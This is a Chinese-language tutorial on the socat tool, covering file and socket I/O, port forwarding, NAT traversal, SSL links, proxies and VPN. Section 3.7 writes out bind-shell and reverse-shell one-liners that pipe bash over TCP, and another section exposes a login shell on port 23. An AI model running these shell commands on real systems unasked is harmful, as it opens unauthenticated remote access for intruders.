1. socat 命令

Socat是Linux下的一个多功能的网络工具 , 名字来由是[Socket CAT]。其功能与有瑞士军刀之称的Netcat类似 , 可以看做是 Netcat 的加强版。

Socat的主要特点就是在两个数据流之间建立通道 , 且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket 等。支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY , 并提供了分叉、记录和进程间通信的不同模式。

socat其实就是学习各类地址的定义及搭配方法

2. socat 基础语法

  • 语法 : socat [options] <address> <address>

    使用socat需要提供两个地址 ,然后socat做的事情就是把这两个地址的数据流串起来,把第左边地址的输出数据传给右边,同时又把右边输出的数据传到左边。

    最简单的地址就是一个减号- ,代表标准输入输出,而在命令行输入:

    socat - -   # 把标准输入和标准输出对接,输入什么显示什么
  • 选项

    • -V :显示版本信息及特性。

    • -h|-? :显示帮助信息,包括选项(options)和地址(addresses)。

    • -hh :与 -h 类似,但会列出所有通用的地址选项名称。

    • -hhh :与 -hh 类似,但会列出所有可用的地址选项名称。

    • -d[ddd] :增加详细程度(最多使用 4 次,建议使用 2 次)。

    • -D :在循环之前分析文件描述符。

    • -ly[facility] :将日志输出到 syslog 系统日志(默认使用守护进程)。

    • -lf<logfile> :将日志输出到文件。

    • -ls :将日志输出到标准错误 stderr(如果没有指定其他日志,则默认使用 stderr)。

    • -lm[facility] :混合日志模式(初始化期间使用标准错误 stderr,之后使用系统日志 syslog)。

    • -lp<progname> :设置用于日志记录的程序名称。

    • -lu :使用微秒记录日志时间戳。

    • -lh :在日志信息中添加主机名称。

    • -v :详细的数据流量,文本格式。

    • -x :详细数据流量,十六进制格式。

    • -b<size_t> :设置数据缓冲区大小(默认 8192)。

    • -s :马虎模式(出错时继续执行)。

    • -t<timeout> :在关闭第二个频道之前等待几秒钟。

    • -T<timeout> :总的不活动(inactivity )超时时间(以秒为单位)。

    • -u :单向模式(从左到右)。第一个地址用于读,第二个地址用于写

    • -U :单向模式(从右到左)。第一个地址用于写,第二个地址用于读

    • -g :不检查选项组。

    • -L <lockfile> :尝试获取锁,否则失败。

    • -W <lockfile> :尝试获取锁,否则等待。

    • -4 :如果未明确指定版本,则首选 IPv4。prefer IPv4 if version is not explicitly specified

    • -6 :如果未明确指定版本,则首选 IPv6。prefer IPv6 if version is not explicitly specified

  • 参数 : address参数用于提供数据通道的必要信息,不同类型的数据通道有不同的地址参数。下列列出几种模式:

    • -、STDIN、STDOUT 、STDIO: 表示标准输入输出,可以就用一个横杠代替

    • /var/log/syslog : 也可以时任意路径,如果时相对路径要使用./, 打开一个文件作为数据流

    • TCP:127.0.0.1:1080 : 建立一个TCP连接作为数据流,TCP也可以替换为UDP

    • TCP-LISTEN:12345 : 建立TCP监听端口,TCP也可以替换为UDP。

    • EXEC:<command-line>:(EXEC:/bin/bash ) 执行一个程序作为数据流

    • CREATE:<filename>,OPEN:<filename>

3. socat 使用示例

3.1 文件操作

  • 通过socat读取文件

    #从绝对路径读取
    $socat - /var/www/html/flag.php
    ​
    #从相对路径读取
    $socat - ./flag.php
  • 写入文件

    $ echo "This is Test" | socat - /tmp/hello.html

3.2 网络管理和通信

这个类似 nc 的连通性测试 , 两台主机到底网络能否联通:

socat - TCP-LISTEN:8080    # 终端1 上启动 server 监听 TCP
socat - TCP:localhost:8080   # 终端2 上启动 client 链接 TCP

在终端1上输入第一行命令作为服务端 , 并在终端2上输入第二行命令作为客户端去链接。

联通后在终端2上随便输入点什么 , 就能显示在终端1上 , 反之亦然 , 因为两条命令都是把标准输入输出和网络串起来 , 因此把两个地址交换一下也是等价的:

socat TCP-LISTEN:8080  -        # 终端1 上启动 server 监听 TCP
socat TCP:localhost:8080  -      # 终端2 上启动 client 链接 TCP

因为socat就是把左右两个地址的输入输出接在一起 , 因此颠倒左右两个地址影响不大 , 除非前面指明-u或者-U显示指明数据“从左到右”还是“从右到左”。

同netcat一样 , 如果客户端结束的话 , 服务端也会结束 , 但是socat还可以加额外参数:

socat - TCP-LISTEN:8080,fork,reuseaddr   # 终端1 上启动 server
socat - TCP:localhost:8080         # 终端2 上启动 client

服务端在TCP-LISTEN地址后面加了fork的参数后 , 就能同时应答多个链接过来的客户端 , 每个客户端会 fork一个进程出来进行通信 , 加上reuseaddr可以防止链接没断开完无法监听的问题。

刚才也说了使用socat主要就是学习描述各种地址,那么想测试UDP的话修改一下就行:

socat - UDP-LISTEN:8080        # 终端1 上启动 server 监听 UDP
socat - UDP:localhost:8080      # 终端2 上启动 client 链接 UDP
  • 连接远程端口

    $ socat - TCP:192.168.1.252:3306
  • 监听一个新TCP端口

    $ socat TCP-LISTEN:7000 -
  • 向TCP端口发送数据

    $ echo "test" | socat - tcp-connect:127.0.0.1:7000
  • 监听一个UDP端口

    $ socat udp-listen:23456 -
  • 向一个UDP端口发送数据

    $ echo "test" | socat - udp-connect:127.0.0.1:23456

3.3 端口转发

在实际生产中我们经常会遇到到一个场景就是, 用一台机器作为转发服务器 , 连接AB两个网段 , 将转发服务器的某个端口上的流量转发到B网段的某台机器的某个端口 , 这样A网段的服务器就可以通过访问转发服务器上的端口访问到B网段的服务器端口。

这样的场景一般在和客户建立专线的连接时候经常用到 , 一般也可以采用iptables做转发 , 但是比较复杂。Socat 可以很轻松的完成这个功能,但是Socat不支持端口段转发 , 只适用于单端口或者少量端口。

  • 转发TCP

    监听192.168.1.252网卡的15672端口, 并将请求转发至172.17.0.15的15672端口

    $ socat  -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672
    • 参数说明

      • 前面两个连续的 -d -d 代表调试信息的输出级别。

      • -lf /var/log/socat.log 指定输出信息的文件保存位置。

      • TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。

      • bind 指定监听绑定的 IP 地址。

      • reuseaddr :设置本地端口可重复使用。允许其他socket可以绑定到该地址,即使其中部分socket已经被部分socat 占用

      • fork TCP4:172.17.0.15:15672 指的是要转发到的服务器IP和端口 , 这里是172.17.0.15的15672端口。

  • 转发UDP

    转发UDP和TCP类似,只要把TCP4改成UDP4即可

    socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123
  • NAT映射

    在一个NAT网络环境中 , 也是可以通过socat将内部机器端口映射到公网上的。

    在外部公网机器上执行

    socat tcp-listen:1234 tcp-listen:3389

    在内部私网机器上执行

    socat tcp:outerhost:1234 tcp:192.168.1.34:3389

    这样 , 外部机器上的 3389就映射在内网192.168.1.34的3389端口上 , 实现私网穿透。

3.4 文件传递

  • 文件传送

    将文件demo.tar.gz使用2000端口从192.168.1.252传到192.168.1.253 , 文件传输完毕后会自动退出。

    在192.168.1.252上执行

    socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr

    在192.168.1.253上执行

    socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
  • 读写分流功能

    socat具有一个独特的读写分流功能 , 比如: 可以实现一个假的Web Server , 客户端连过来之后就把read.html里面的内容传过去,同时把客户端的数据保存到write.txt里面。

    socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork

    注意 : !!符号用于合并读写流 , 前面的用于读 , 后面的用于写。由于!在Shell中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。

3.5 本地域套接字

监听一个Unix Socket。

socat unix-listen:/tmp/unix.socket -

向本地Unix Socket 发送数据

echo "test" | socat - unix-connect:/tmp/unix.sock

监听本地Unix Datagram Socket

socat unix-recvfrom:/tmp/unix.dg.sock -

向本地Unix Datagram Socket 发送数据

echo "test" | socat - unix-sendto:/tmp/unix.dg.sock

3.6 Openssl加密传输过程

假设有一个服务器主机 , 地址为 server.domain.org。 并且服务端程序使用4433端口。为了尽可能的简单 , 我们使用一个非常简单的服务功能 , 即服务端仅回显数据(echo) , 客户端只进行标准输入(stdio)。要进行Openssl加密数据传输 , 首先需要生成 Openssl 证书。

  • 生成服务器证书

    # 为服务端的证书取一个基本的名字。
    $ FILENAME=server
    # 生成公钥私钥对。
    $ openssl genrsa -out $FILENAME.key 1024
    # 生成一个自签名的证书,会提示你输入国家代号、姓名等,或者按下回车键跳过输入提示。
    $ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
    # 用刚生成的密钥文件和证书文件来生成PEM文件。
    $ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

    服务端证书生成完成后 , 复制信任证书server.crt到SSL客户端所在的主机上。

  • 生成客户端证书

    # 为客户端证书取一个不同的文件名
    $ FILENAME=client

    重复上述服务端生成证书的流程。然后复制client.pem到 SSL 客户端主机 , 复制client.crt到服务端主机。至此完成了证书交换 , 服务端有server.pem、client.crt两个文件 , 客户端有client.pem、server.crt两个文件。

其次我们需要建立Openssl服务端 , 在服务端我们不再用tcp-listen(tcp-l), 而用openssl-listen(ssl-l) 。cert 参数告诉 Socat包含证书和私钥的文件 , cafile参数指向客户端的证书文件。如果客户端能提供相关联的私钥 , 我们则认为该连接是可靠的。

$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo

运行这个命令后 , Socat会在4433端口监听 , 并要求客户端进行身份验证。

最后在客户端建立一个加密的链接 , 用openssl-connect或者ssl替换你的tcp-connect或tcp地址关键字 , 然后添加cert和 cafile选项。

$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test

这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后 , 会回显在客户端输入的内容。

3.7 SHELL传递

3.7.1 建立正向SHELL

  1. 服务端

    # 在服务端 7005 端口建立一个 Shell。
    $ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
    或者
    $ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr
  2. 客户端

    # 连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。
    $ socat readline tcp:127.0.0.1:7005

3.7.2 反弹一个交互shell

当有主机连接服务端的7005端口时,将会发送客户端的SHELL 给服务器

  1. 服务器

    $ socat -,raw,echo=0 tcp-listen:7005
  2. 客户端

    $ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane

3.7.3 终端发送到串口

$ socat READLINE,/dev/ttyS0,raw,echo=0,crnl

3.8 远程登录、VPN

地址除了TCP和TCP-LISTEN外 , 另外一个重要的地址类型就是EXEC可以执行程序并且把输入输出和另外一个地址串起来:

socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash  # 服务端提供 shell
socat - TCP:localhost:8080                 # 客户端登录

完善一点可以加些参数:

socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash,pty,stderr  # 服务端
socat file:`tty`,raw,echo=0 TCP:localhost:8080            # 客户端

这样可以把bash的标准错误重定向给标准输出 , 并且用终端模式运行。客户端可以像刚才那样登录 , 但是还可以更高级点 , 用tty的方式访问 , 这样基本就得到了一个全功能的交互式终端了 , 可以在里面运行vim, emacs之类的程序。

更高级一点,使用 root 运行:

socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty

相当于在23端口启动了一个telnetd的服务 , 可以用telnet客户端来链接。

VPN

服务端 :

socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up

客户端 :

socat TCP:1.2.3.4:11443 TUN:192.168.255.2/24,up

3.9 透明代理

第一句是用于 socks 代理的,第二句用于 HTTP 代理:

socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服务器IP>:<远程地址>:<远程端口>,socksport=<代理服务器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服务器IP>:<远程地址>:<远程端口>,proxyport=<代理服务器端口>

他们都可以把本地端口的请求转换成使用代理服务器访问的请求,比如:

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

那么链接本地的 1234 端口,相当于通过代理服务器 127.0.0.1:5678 去链接 google.com 的 80 端口了,这里用了 SOCKS4A ,后面 A 的意思是让代理服务器去解析域名。

3.10 其他功能

  • 将本地的UNIX域套接字转成TCP socket供局域网内的机器使用(当有多个TCP连上来那就fork一个去连接UNIX域套接字)

    socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain

  • 将本地的80端口转到远程服务器的 80 端口

    socat TCP-LISTEN:80,fork TCP:www.getiot.tech:80

  • fork服务

    将一个使用标准输入输出的单进程程序变为一个使用 fork 方法的多进程服务,非常方便。

    $ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
  • 不同设备的通信

    将U盘进行网络共享

    $ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
  • 让socat后台运行

    默认情况下Socat只在前台运行 , 如果要让Socat一直在后台运行 , 可以使用nohup命令来保证其在后台一直运行。

    $ nohup socat  -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &


参考链接

socat 命令 – 人人都懂物联网 (getiot.tech)

socat 网络工具 - 凡人半睁眼 - 博客园 (cnblogs.com)

Socat 入门教程 - 奇妙的 Linux 世界 (hi-linux.com)


熊熊